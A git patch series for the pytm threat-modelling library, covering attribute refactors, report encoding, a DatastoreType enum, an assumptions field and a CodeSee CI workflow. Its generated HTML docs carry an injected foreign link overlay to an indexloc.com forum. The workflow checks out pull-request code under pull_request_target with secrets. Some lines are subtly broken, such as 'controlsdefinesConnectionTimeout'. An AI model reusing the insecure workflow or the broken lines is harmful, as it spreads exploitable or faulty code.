+        web.controls.encodesHeaders = False
         threat = threats["INP36"]
         self.assertTrue(threat.apply(web))
 
     def test_INP37(self):
         web = Server("web")
         web.implementsStrictHTTPValidation = False
-        web.encodesHeaders = False
+        web.controls.encodesHeaders = False
         threat = threats["INP37"]
         self.assertTrue(threat.apply(web))
 
     def test_INP38(self):
         process1 = Process("Process")
         process1.allowsClientSideScripting = True
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP38"]
         self.assertTrue(threat.apply(process1))
 
     def test_AC16(self):
         web = Server("web")
-        web.usesStrongSessionIdentifiers = False
-        web.encryptsCookies = False
+        web.controls.usesStrongSessionIdentifiers = False
+        web.controls.encryptsCookies = False
         threat = threats["AC16"]
         self.assertTrue(threat.apply(web))
 
     def test_INP39(self):
         process1 = Process("Process")
         process1.allowsClientSideScripting = True
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP39"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP40(self):
         process1 = Process("Process")
         process1.allowsClientSideScripting = True
-        process1.sanitizesInput = False
-        process1.validatesInput = False
+        process1.controls.sanitizesInput = False
+        process1.controls.validatesInput = False
         threat = threats["INP40"]
         self.assertTrue(threat.apply(process1))
 
     def test_AC17(self):
         web = Server("web")
-        web.usesStrongSessionIdentifiers = False
+        web.controls.usesStrongSessionIdentifiers = False
         threat = threats["AC17"]
         self.assertTrue(threat.apply(web))
 
     def test_AC18(self):
         process1 = Process("Process")
-        process1.usesStrongSessionIdentifiers = False
-        process1.encryptsCookies = False
-        process1.definesConnectionTimeout = False
+        process1.controls.usesStrongSessionIdentifiers = False
+        process1.controls.encryptsCookies = False
+        process1.controls.definesConnectionTimeout = False
         threat = threats["AC18"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP41(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP41"]
         self.assertTrue(threat.apply(process1))
 
@@ -1319,9 +1319,9 @@ def test_AC19(self):
 
     def test_AC20(self):
         process1 = Process("Process")
-        process1.definesConnectionTimeout = False
-        process1.usesMFA = False
-        process1.encryptsSessionData = False
+        process1.controlsdefinesConnectionTimeout = False
+        process1.controls.usesMFA = False
+        process1.controls.encryptsSessionData = False
         threat = threats["AC20"]
         self.assertTrue(threat.apply(process1))
 
@@ -1340,7 +1340,7 @@ def test_AC22(self):
             "password", isCredentials=True, credentialsLife=Lifetime.HARDCODED
         )
         user_to_web.protocol = "HTTPS"
-        user_to_web.isEncrypted = True
+        user_to_web.controls.isEncrypted = True
         threat = threats["AC22"]
         self.assertTrue(threat.apply(user_to_web))
 
@@ -1349,6 +1349,6 @@ def test_DR01(self):
         db = Datastore("Database")
         insert = Dataflow(web, db, "Insert query")
         insert.data = Data("ssn", isPII=True, isStored=True)
-        insert.isEncrypted = False
+        insert.controls.isEncrypted = False
         threat = threats["DR01"]
         self.assertTrue(threat.apply(insert))
diff --git a/tm.py b/tm.py
index 8c598640..81d6d43a 100755
--- a/tm.py
+++ b/tm.py
@@ -28,15 +28,15 @@
 
 web = Server("Web Server")
 web.OS = "Ubuntu"
-web.isHardened = True
-web.sanitizesInput = False
-web.encodesOutput = True
-web.authorizesSource = False
+web.controls.isHardened = True
+web.controls.sanitizesInput = False
+web.controls.encodesOutput = True
+web.controls.authorizesSource = False
 web.sourceFiles = ["pytm/json.py", "docs/template.md"]
 
 db = Datastore("SQL Database")
 db.OS = "CentOS"
-db.isHardened = False
+db.controls.isHardened = False
 db.inBoundary = server_db
 db.isSQL = True
 db.inScope = True
@@ -46,7 +46,7 @@
 secretDb = Datastore("Real Identity Database")
 secretDb.OS = "CentOS"
 secretDb.sourceFiles = ["pytm/pytm.py"]
-secretDb.isHardened = True
+secretDb.controls.isHardened = True
 secretDb.inBoundary = server_db
 secretDb.isSQL = True
 secretDb.inScope = True
@@ -54,7 +54,7 @@
 secretDb.maxClassification = Classification.TOP_SECRET
 
 my_lambda = Lambda("AWS Lambda")
-my_lambda.hasAccessControl = True
+my_lambda.controls.hasAccessControl = True
 my_lambda.inBoundary = vpc
 my_lambda.levels = [1, 2]
 
@@ -117,6 +117,6 @@
     processedBy=[db, secretDb],
 )
 
-
 if __name__ == "__main__":
     tm.process()
+

From 953546257e8dacfff4e770c8d6a3d563855e275e Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Wed, 29 Sep 2021 13:26:46 -0400
Subject: [PATCH 28/86] Added output encoding for each Elements findings data

---
 pytm/pytm.py | 35 ++++++++++++++++++++++++++++++-----
 1 file changed, 30 insertions(+), 5 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 9791b7a4..d17c4a7e 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -960,15 +960,21 @@ def report(self, template_path):
         threats = encode_threat_data(TM._threats)
         findings = encode_threat_data(self.findings)
 
+        elements = encode_element_threat_data(TM._elements)
+        assets = encode_element_threat_data(TM._assets)
+        actors = encode_element_threat_data(TM._actors)
+        boundaries = encode_element_threat_data(TM._boundaries)
+        flows = encode_element_threat_data(TM._flows)
+
         data = {
             "tm": self,
-            "dataflows": TM._flows,
+            "dataflows": flows,
             "threats": threats,
             "findings": findings,
-            "elements": TM._elements,
-            "assets": TM._assets,
-            "actors": TM._actors,
-            "boundaries": TM._boundaries,
+            "elements": elements,
+            "assets": assets,
+            "actors": actors,
+            "boundaries": boundaries,
             "data": TM._data,
         }
 
@@ -1839,6 +1845,25 @@ def serialize(obj, nested=False):
         result[i.lstrip("_")] = value
     return result
 
+def encode_element_threat_data(obj):
+    """Used to html encode threat data from a list of Elements"""
+    encoded_elements = []
+    if (type(obj) is not list):
+       raise ValueError("expecting a list value, got a {}".format(type(value)))
+
+    for o in obj:
+       c = copy.deepcopy(o)
+       for a in o._attr_values():
+            if (a is not "findings"):
+               v = getattr(o, a)
+               c._safeset(a, v)
+            else:
+               encoded_findings = encode_threat_data(o.findings)
+               c._safeset("findings", encoded_findings)
+
+       encoded_elements.append(c)    
+
+    return encoded_elements
 
 def encode_threat_data(obj):
     """Used to html encode threat data from a list of threats or findings"""

From d9253958ca20e92a79c6630fdb5cfba1eb0f6e09 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Wed, 29 Sep 2021 19:03:08 -0400
Subject: [PATCH 29/86] cleanup, removed extra report content from testing.

---
 docs/advanced_template.md | 2 --
 1 file changed, 2 deletions(-)

diff --git a/docs/advanced_template.md b/docs/advanced_template.md
index 2fd184b5..5a8892df 100644
--- a/docs/advanced_template.md
+++ b/docs/advanced_template.md
@@ -17,8 +17,6 @@ Name|From|To |Data|Protocol|Port
 {dataflows:repeat:|{{item.display_name:call:}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}|
 }
 
-{dataflows:repeat:{{item:call:getElementType}}
-}
 ## Data Dictionary
 
 Name|Description|Classification|Carried|Processed

From 1b18464c60f6eaa0220122ee326f5c32a20706d8 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Wed, 29 Sep 2021 19:43:59 -0400
Subject: [PATCH 30/86] Updated object copy logic to allow tests to pass

---
 pytm/pytm.py | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index d17c4a7e..9eba5b7d 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1854,13 +1854,14 @@ def encode_element_threat_data(obj):
     for o in obj:
        c = copy.deepcopy(o)
        for a in o._attr_values():
-            if (a is not "findings"):
-               v = getattr(o, a)
-               c._safeset(a, v)
-            else:
+            if (a == "findings"):
                encoded_findings = encode_threat_data(o.findings)
                c._safeset("findings", encoded_findings)
-
+            else:
+               v = getattr(o, a)
+               if (type(v) is not list or (type(v) is list and len(v) != 0)):
+                  c._safeset(a, v)
+                 
        encoded_elements.append(c)    
 
     return encoded_elements

From c7ecac007e238f9fb857527fb996c58a0953c5d1 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Thu, 30 Sep 2021 01:24:41 -0400
Subject: [PATCH 31/86] Add enum for DatastoreType used in Datastore objects,
 removed isSQL, updated sample tm, and updated existing tests

---
 pytm/__init__.py           |  2 ++
 pytm/pytm.py               | 29 ++++++++++++++++++++++++++++-
 tests/output.json          |  6 +++---
 tests/test_private_func.py |  8 +++++---
 tm.py                      |  5 +++--
 5 files changed, 41 insertions(+), 9 deletions(-)

diff --git a/pytm/__init__.py b/pytm/__init__.py
index a6fbb492..e13eb82a 100644
--- a/pytm/__init__.py
+++ b/pytm/__init__.py
@@ -7,6 +7,7 @@
     "Data",
     "Dataflow",
     "Datastore",
+    "DatastoreType",
     "Element",
     "ExternalEntity",
     "Finding",
@@ -33,6 +34,7 @@
     Data,
     Dataflow,
     Datastore,
+    DatastoreType,
     Element,
     ExternalEntity,
     Finding,
diff --git a/pytm/pytm.py b/pytm/pytm.py
index 9791b7a4..0723a455 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -177,6 +177,13 @@ def __set__(self, instance, value):
         super().__set__(instance, value)
 
 
+class varDatastoreType(var):
+    def __set__(self, instance, value):
+        if not isinstance(value, DatastoreType):
+            raise ValueError("expecting a DatastoreType, got a {}".format(type(value)))
+        super().__set__(instance, value)
+
+
 class varTLSVersion(var):
     def __set__(self, instance, value):
         if not isinstance(value, TLSVersion):
@@ -295,6 +302,17 @@ def label(self):
         return self.value.lower().replace("_", " ")
 
 
+class DatastoreType(Enum):
+    UNKNOWN = "UNKNOWN"
+    FILE_SYSTEM = "FILE_SYSTEM"
+    SQL = "SQL"
+    LDAP = "LDAP"
+    AWS_S3 = "AWS_S3"
+
+    def label(self):
+        return self.value.lower().replace("_", " ")
+
+
 class TLSVersion(OrderedEnum):
     NONE = 0
     SSLv1 = 1
@@ -1499,7 +1517,6 @@ class Datastore(Asset):
 is any information relating to an identifiable person.""",
     )
     storesSensitiveData = varBool(False)
-    isSQL = varBool(True)
     providesConfidentiality = varBool(False)
     providesIntegrity = varBool(False)
     isShared = varBool(False)
@@ -1518,6 +1535,16 @@ class Datastore(Asset):
 that are necessary for its legitimate purpose.""",
     )
     isEncryptedAtRest = varBool(False, doc="Stored data is encrypted at rest")
+    type = varDatastoreType(
+        DatastoreType.UNKNOWN,
+        doc="""The  type of Datastore, values may be one of:
+* UNKNOWN - unknown applicable
+* FILE_SYSTEM - files on a file system
+* SQL - A SQL Database
+* LDAP - An LDAP Server
+* AWS_S3 - An S3 Bucket within AWS"""
+    )
+
 
     def __init__(self, name, **kwargs):
         super().__init__(name, **kwargs)
diff --git a/tests/output.json b/tests/output.json
index 0adee11b..f487932c 100644
--- a/tests/output.json
+++ b/tests/output.json
@@ -236,7 +236,6 @@
             "isEncryptedAtRest": false,
             "isHardened": false,
             "isResilient": false,
-            "isSQL": true,
             "isShared": false,
             "levels": [
                 0
@@ -259,6 +258,7 @@
             "storesLogData": false,
             "storesPII": false,
             "storesSensitiveData": false,
+            "type": "DatastoreType.UNKNOWN",
             "usesEncryptionAlgorithm": "",
             "usesEnvironmentVariables": false,
             "validatesInput": false
@@ -551,7 +551,6 @@
             "isEncryptedAtRest": false,
             "isHardened": false,
             "isResilient": false,
-            "isSQL": true,
             "isShared": false,
             "levels": [
                 0
@@ -574,6 +573,7 @@
             "storesLogData": false,
             "storesPII": false,
             "storesSensitiveData": false,
+            "type": "DatastoreType.UNKNOWN",
             "usesEncryptionAlgorithm": "",
             "usesEnvironmentVariables": false,
             "validatesInput": false
@@ -801,4 +801,4 @@
     "onDuplicates": "Action.NO_ACTION",
     "threatsExcluded": [],
     "threatsFile": "pytm/threatlib/threats.json"
-}
+}
\ No newline at end of file
diff --git a/tests/test_private_func.py b/tests/test_private_func.py
index 98f08a0c..7ad33c4a 100644
--- a/tests/test_private_func.py
+++ b/tests/test_private_func.py
@@ -8,6 +8,7 @@
     Data,
     Dataflow,
     Datastore,
+    DatastoreType,
     Process,
     Server,
     Threat,
@@ -88,12 +89,12 @@ def test_defaults(self):
         sql_resp = Data("SQL resp")
         db = Datastore(
             "PostgreSQL",
-            isSQL=True,
             port=5432,
             protocol="PostgreSQL",
             isEncrypted=False,
             data=sql_resp,
         )
+        db.type = DatastoreType.SQL
         worker = Process("Task queue worker")
 
         req_get_data = Data("HTTP GET")
@@ -187,7 +188,8 @@ def test_defaults(self):
 
         user = Actor("User", inBoundary=internet)
         server = Server("Server")
-        db = Datastore("DB", inBoundary=cloud, isSQL=True)
+        db = Datastore("DB", inBoundary=cloud)
+        db.type = DatastoreType.SQL
         func = Datastore("Lambda function", inBoundary=cloud)
 
         request = Dataflow(user, server, "request")
@@ -214,7 +216,7 @@ def test_defaults(self):
             {"target": func, "condition": "not any(target.inputs)"},
             {
                 "target": server,
-                "condition": "any(f.sink.oneOf(Datastore) and f.sink.isSQL "
+                "condition": "any(f.sink.oneOf(Datastore) and f.sink.type == DatastoreType.SQL "
                 "for f in target.outputs)",
             },
         ]
diff --git a/tm.py b/tm.py
index 8c598640..756a4f8b 100755
--- a/tm.py
+++ b/tm.py
@@ -10,6 +10,7 @@
     Datastore,
     Lambda,
     Server,
+    DatastoreType,
 )
 
 tm = TM("my test tm")
@@ -38,7 +39,7 @@
 db.OS = "CentOS"
 db.isHardened = False
 db.inBoundary = server_db
-db.isSQL = True
+db.type = DatastoreType.SQL
 db.inScope = True
 db.maxClassification = Classification.RESTRICTED
 db.levels = [2]
@@ -48,7 +49,7 @@
 secretDb.sourceFiles = ["pytm/pytm.py"]
 secretDb.isHardened = True
 secretDb.inBoundary = server_db
-secretDb.isSQL = True
+secretDb.type = DatastoreType.SQL
 secretDb.inScope = True
 secretDb.storesPII = True
 secretDb.maxClassification = Classification.TOP_SECRET

From 73eae7c5d24fa59b24bc43ff92fdfb77cdd9b7f7 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Fri, 1 Oct 2021 11:06:10 -0400
Subject: [PATCH 32/86] Updated README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 940c82a0..160fdc16 100644
--- a/README.md
+++ b/README.md
@@ -296,7 +296,7 @@ For the security practitioner, you may supply your own threats file by setting `
    "details": "This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.",
    "Likelihood Of Attack": "High",
    "severity": "High",
-   "condition": "target.usesEnvironmentVariables is True and target.sanitizesInput is False and target.checksInputBounds is False",
+   "condition": "target.usesEnvironmentVariables is True and target.controls.sanitizesInput is False and target.controls.checksInputBounds is False",
    "prerequisites": "The application uses environment variables.An environment variable exposed to the user is vulnerable to a buffer overflow.The vulnerable environment variable uses untrusted data.Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.",
    "mitigations": "Do not expose environment variable to the user.Do not use untrusted data in your environment variables. Use a language or compiler that performs automatic bounds checking. There are tools such as Sharefuzz [R.10.3] which is an environment variable fuzzer for Unix that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow.",
    "example": "Attack Example: Buffer Overflow in $HOME A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable. Attack Example: Buffer Overflow in TERM A buffer overflow in the rlogin program involves its consumption of the TERM environmental variable.",
@@ -318,7 +318,7 @@ to list findings in the final [report](#report).
 
 The logic lives in the `condition`, where members of `target` can be logically evaluated.
 Returning a true means the rule generates a finding, otherwise, it is not a finding.
-Condition may compare attributes of `target` and also call one of these methods:
+Condition may compare attributes of `target` and/or control attributes of the 'target.control' and also call one of these methods:
 
 * `target.oneOf(class, ...)` where `class` is one or more: Actor, Datastore, Server, Process, SetOfProcesses, ExternalEntity, Lambda or Dataflow,
 * `target.crosses(Boundary)`,

From 0859b978c96d30ff7e064e211adafc031fdaf3b3 Mon Sep 17 00:00:00 2001
From: "codesee-architecture-diagrams[bot]"
 <86324825+codesee-architecture-diagrams[bot]@users.noreply.github.com>
Date: Fri, 1 Oct 2021 16:01:01 +0000
Subject: [PATCH 33/86] Add CodeSee architecture diagram workflow to repository

---
 .github/workflows/codesee-arch-diagram.yml | 81 ++++++++++++++++++++++
 1 file changed, 81 insertions(+)
 create mode 100644 .github/workflows/codesee-arch-diagram.yml

diff --git a/.github/workflows/codesee-arch-diagram.yml b/.github/workflows/codesee-arch-diagram.yml
new file mode 100644
index 00000000..5b4e5814
--- /dev/null
+++ b/.github/workflows/codesee-arch-diagram.yml
@@ -0,0 +1,81 @@
+on:
+  push:
+    branches:
+      - master
+  pull_request_target:
+    types: [opened, synchronize, reopened]
+
+name: CodeSee Map
+
+jobs:
+  test_map_action:
+    runs-on: ubuntu-latest
+    continue-on-error: true
+    name: Run CodeSee Map Analysis
+    steps:
+      - name: checkout
+        id: checkout
+        uses: actions/checkout@v2
+        with:
+          repository: ${{ github.event.pull_request.head.repo.full_name }}
+          ref: ${{ github.event.pull_request.head.ref }}
+          fetch-depth: 0
+
+      # codesee-detect-languages has an output with id languages.
+      - name: Detect Languages
+        id: detect-languages
+        uses: Codesee-io/codesee-detect-languages-action@latest
+
+      - name: Configure JDK 16
+        uses: actions/setup-java@v2
+        if: ${{ fromJSON(steps.detect-languages.outputs.languages).java }}
+        with:
+          java-version: '16'
+          distribution: 'zulu'
+
+      # CodeSee Maps Go support uses a static binary so there's no setup step required.
+
+      - name: Configure Node.js 14
+        uses: actions/setup-node@v2
+        if: ${{ fromJSON(steps.detect-languages.outputs.languages).javascript }}
+        with:
+          node-version: '14'
+
+      - name: Configure Python 3.x
+        uses: actions/setup-python@v2
+        if: ${{ fromJSON(steps.detect-languages.outputs.languages).python }}
+        with:
+          python-version: '3.x'
+          architecture: 'x64'
+
+      - name: Configure Ruby '3.x'
+        uses: ruby/setup-ruby@v1
+        if: ${{ fromJSON(steps.detect-languages.outputs.languages).ruby }}
+        with:
+          ruby-version: '3.0'
+
+      # CodeSee Maps Rust support uses a static binary so there's no setup step required.
+
+      - name: Generate Map
+        id: generate-map
+        uses: Codesee-io/codesee-map-action@latest
+        with:
+          step: map
+          github_ref: ${{ github.ref }}
+          languages: ${{ steps.detect-languages.outputs.languages }}
+
+      - name: Upload Map
+        id: upload-map
+        uses: Codesee-io/codesee-map-action@latest
+        with:
+          step: mapUpload
+          api_token: ${{ secrets.CODESEE_ARCH_DIAG_API_TOKEN }}
+          github_ref: ${{ github.ref }}
+      
+      - name: Insights
+        id: insights
+        uses: Codesee-io/codesee-map-action@latest
+        with:
+          step: insights
+          api_token: ${{ secrets.CODESEE_ARCH_DIAG_API_TOKEN }}
+          github_ref: ${{ github.ref }}

From 73c4365b55fa5f9e52ebd4ead2a3836acd753fe0 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Sat, 2 Oct 2021 01:02:22 -0400
Subject: [PATCH 34/86] Added a list of global assumptions about the
 design/model.

---
 pytm/pytm.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 9791b7a4..977e3a8a 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -720,6 +720,11 @@ class TM:
         doc="""How to handle duplicate Dataflow
 with same properties, except name and notes""",
     )
+    assumptions = varStrings(
+        [],
+        required=False,
+        doc="A list of assumptions about the design/model.",
+    )
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():

From 6bbe1be83ca31b0224fa71b3c6989910a4b8d4d9 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Sat, 2 Oct 2021 01:56:48 -0400
Subject: [PATCH 35/86] Added assumption in sample tm, added visibility in
 sample report template and updated documentation

---
 docs/pytm/index.html | 36 +++++++++++++++++++++++++++++++++---
 docs/template.md     | 13 +++++++++++++
 tm.py                |  3 +++
 3 files changed, 49 insertions(+), 3 deletions(-)

diff --git a/docs/pytm/index.html b/docs/pytm/index.html
index 30cb0a55..25d09c87 100644
--- a/docs/pytm/index.html
+++ b/docs/pytm/index.html
@@ -3,7 +3,7 @@
 <head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1" />
-<meta name="generator" content="pdoc 0.9.2" />
+<meta name="generator" content="pdoc 0.10.0" />
 <title>pytm API documentation</title>
 <meta name="description" content="" />
 <link rel="preload stylesheet" as="style" href="https://cdnjs.cloudflare.com/ajax/libs/10up-sanitize.css/11.0.1/sanitize.min.css" integrity="sha256-PK9q560IAAa6WVRRh76LtCaI8pjTJ2z11v0miyNNjrs=" crossorigin>
@@ -2218,7 +2218,7 @@ <h3>Instance variables</h3>
         )
 
     def __str__(self):
-        return f&#34;{self.target}: {self.description}\n{self.details}\n{self.severity}&#34;</code></pre>
+        return f&#34;&#39;{self.target}&#39;: {self.description}\n{self.details}\n{self.severity}&#34;</code></pre>
 </details>
 <h3>Instance variables</h3>
 <dl>
@@ -3548,6 +3548,11 @@ <h3>Class variables</h3>
         doc=&#34;&#34;&#34;How to handle duplicate Dataflow
 with same properties, except name and notes&#34;&#34;&#34;,
     )
+    assumptions = varStrings(
+        [],
+        required=False,
+        doc=&#34;A list of assumptions about the design/model.&#34;,
+    )
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
@@ -3603,6 +3608,7 @@ <h3>Class variables</h3>
 
                 finding_count += 1
                 f = Finding(e, id=str(finding_count), threat=t)
+                logger.debug(f&#34;new finding: {f}&#34;)
                 findings.append(f)
                 elements[e].append(f)
         self.findings = findings
@@ -3839,6 +3845,9 @@ <h3>Class variables</h3>
         if result.describe is not None:
             _describe_classes(result.describe.split())
 
+        if result.list_elements:
+            _list_elements()
+
         if result.list is True:
             [print(&#34;{} - {}&#34;.format(t.id, t.description)) for t in TM._threats]
 
@@ -3961,6 +3970,22 @@ <h3>Static methods</h3>
 </dl>
 <h3>Instance variables</h3>
 <dl>
+<dt id="pytm.TM.assumptions"><code class="name">var <span class="ident">assumptions</span></code></dt>
+<dd>
+<div class="desc"><p>A list of assumptions about the design/model.</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
 <dt id="pytm.TM.description"><code class="name">var <span class="ident">description</span></code></dt>
 <dd>
 <div class="desc"><p>Model description</p></div>
@@ -4160,6 +4185,9 @@ <h3>Methods</h3>
     if result.describe is not None:
         _describe_classes(result.describe.split())
 
+    if result.list_elements:
+        _list_elements()
+
     if result.list is True:
         [print(&#34;{} - {}&#34;.format(t.id, t.description)) for t in TM._threats]
 
@@ -4231,6 +4259,7 @@ <h3>Methods</h3>
 
             finding_count += 1
             f = Finding(e, id=str(finding_count), threat=t)
+            logger.debug(f&#34;new finding: {f}&#34;)
             findings.append(f)
             elements[e].append(f)
     self.findings = findings
@@ -4768,6 +4797,7 @@ <h4><code><a title="pytm.TLSVersion" href="#pytm.TLSVersion">TLSVersion</a></cod
 <li>
 <h4><code><a title="pytm.TM" href="#pytm.TM">TM</a></code></h4>
 <ul class="two-column">
+<li><code><a title="pytm.TM.assumptions" href="#pytm.TM.assumptions">assumptions</a></code></li>
 <li><code><a title="pytm.TM.description" href="#pytm.TM.description">description</a></code></li>
 <li><code><a title="pytm.TM.findings" href="#pytm.TM.findings">findings</a></code></li>
 <li><code><a title="pytm.TM.get_table" href="#pytm.TM.get_table">get_table</a></code></li>
@@ -4805,7 +4835,7 @@ <h4><code><a title="pytm.Threat" href="#pytm.Threat">Threat</a></code></h4>
 </nav>
 </main>
 <footer id="footer">
-<p>Generated by <a href="https://pdoc3.github.io/pdoc"><cite>pdoc</cite> 0.9.2</a>.</p>
+<p>Generated by <a href="https://pdoc3.github.io/pdoc" title="pdoc: Python API documentation generator"><cite>pdoc</cite> 0.10.0</a>.</p>
 </footer>
 <div style="position: fixed; bottom: 10px; right: 10px; background-color: #f0f0f0; border: 1px solid #ccc; padding: 10px; z - index: 9999; color: red;">
    <a href="https://indexloc.com/forum.php?mod=forumdisplay&fid=7">
        点击  这是indexloc提供的php浏览器服务，不要输入任何密码和下载
    </a>
</div></body>
 </html>
\ No newline at end of file
diff --git a/docs/template.md b/docs/template.md
index 55a7a03f..76a1a09c 100644
--- a/docs/template.md
+++ b/docs/template.md
@@ -7,6 +7,19 @@
 
 &nbsp;
 
+{tm.assumptions:if:
+
+|Assumptions|
+|-----------|
+{tm.assumptions:repeat:|{{item}}| 
+}
+
+&nbsp;
+&nbsp;
+&nbsp;
+}
+
+
 ## Dataflow Diagram - Level 0 DFD
 
 ![](sample.png)
diff --git a/tm.py b/tm.py
index 8c598640..2a207a05 100755
--- a/tm.py
+++ b/tm.py
@@ -16,6 +16,9 @@
 tm.description = "This is a sample threat model of a very simple system - a web-based comment system. The user enters comments and these are added to a database and displayed back to the user. The thought is that it is, though simple, a complete enough example to express meaningful threats."
 tm.isOrdered = True
 tm.mergeResponses = True
+tm.assumptions = [
+"Here you can document a list of assumptions about the system",
+]
 
 internet = Boundary("Internet")
 server_db = Boundary("Server/DB")

From 62b7e26110c36e07b54aefaefb24647f4615b75a Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Sat, 2 Oct 2021 02:43:03 -0400
Subject: [PATCH 36/86] Updated test data.

---
 tests/output.json | 3 ++-
 tests/output.md   | 3 +++
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/tests/output.json b/tests/output.json
index 0adee11b..4008d507 100644
--- a/tests/output.json
+++ b/tests/output.json
@@ -264,6 +264,7 @@
             "validatesInput": false
         }
     ],
+    "assumptions": [],
     "boundaries": [
         {
             "description": "",
@@ -801,4 +802,4 @@
     "onDuplicates": "Action.NO_ACTION",
     "threatsExcluded": [],
     "threatsFile": "pytm/threatlib/threats.json"
-}
+}
\ No newline at end of file
diff --git a/tests/output.md b/tests/output.md
index d8382499..e0199328 100644
--- a/tests/output.md
+++ b/tests/output.md
@@ -7,6 +7,9 @@ aaa
 
 &nbsp;
 
+
+
+
 ## Dataflow Diagram - Level 0 DFD
 
 ![](sample.png)

From ab109973557fb69db9bd727f0a66647af7e89aee Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Sat, 2 Oct 2021 02:49:20 -0400
Subject: [PATCH 37/86] Updated report test to write the generated report file
 to disk, similar to existing logic for json.

---
 tests/test_pytmfunc.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index f0e3e90a..07bfed09 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -373,6 +373,9 @@ def test_report(self):
         self.assertTrue(tm.check())
         output = tm.report("docs/template.md")
 
+        with open(os.path.join(dir_path, "output_current.md"), "w") as x:
+            x.write(output)
+
         self.maxDiff = None
         self.assertEqual(output.strip(), expected.strip())
 

From 54543450297785d955b867c042225a653725c3cb Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Sat, 30 Oct 2021 00:19:21 -0400
Subject: [PATCH 38/86] Cleanup commented code.

---
 pytm/pytm.py | 135 +--------------------------------------------------
 1 file changed, 1 insertion(+), 134 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 897c8dc6..631538bb 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1134,7 +1134,6 @@ def get_table(self, db, klass):
 class Controls:
     """Controls implemented by/on and Element"""
 
-    #allowsClientSideScripting = varBool(False) #NOZ - positive attestation of negative behavior?. not a fan of this one.
     authenticatesDestination = varBool(
         False,
         doc="""Verifies the identity of the destination,
@@ -1159,7 +1158,6 @@ class Controls:
     handlesCrashes = varBool(False)
     handlesInterruptions = varBool(False)
     handlesResourceConsumption = varBool(False)
-    #handlesResources = varBool(False) #NOZ What is this? 
     hasAccessControl = varBool(False)
     implementsAuthenticationScheme = varBool(False)
     implementsCSRFToken = varBool(False)
@@ -1192,7 +1190,6 @@ class Controls:
     providesIntegrity = varBool(False)
     sanitizesInput = varBool(False)
     tracksExecutionFlow = varBool(False)
-    #usesCache = varBool(False)
     usesCodeSigning = varBool(False)
     usesEncryptionAlgorithm = varString("")
     usesMFA = varBool(
@@ -1205,8 +1202,7 @@ class Controls:
     )
     usesParameterizedInput = varBool(False)
     usesSecureFunctions = varBool(False)
-    #usesSessionTokens = varBool(False) #NOZ - Was this intended as a control?
-    usesStrongSessionIdentifiers = varBool(False) #NOZ - Was this intended as a control?
+    usesStrongSessionIdentifiers = varBool(False)
     usesVPN = varBool(False)
     validatesContentType = varBool(False)
     validatesHeaders = varBool(False)
@@ -1479,47 +1475,14 @@ class Asset(Element):
     """An asset with outgoing or incoming dataflows"""
 
     port = varInt(-1, doc="Default TCP port for incoming data flows")
-#    isEncrypted = varBool(False, doc="Requires incoming data flow to be encrypted")
     protocol = varString("", doc="Default network protocol for incoming data flows")
     data = varData([], doc="pytm.Data object(s) in incoming data flows")
     inputs = varElements([], doc="incoming Dataflows")
     outputs = varElements([], doc="outgoing Dataflows")
     onAWS = varBool(False)
-#    isHardened = varBool(False)
-#    implementsAuthenticationScheme = varBool(False)
-#    implementsNonce = varBool(
-#        False,
-#        doc="""Nonce is an arbitrary number
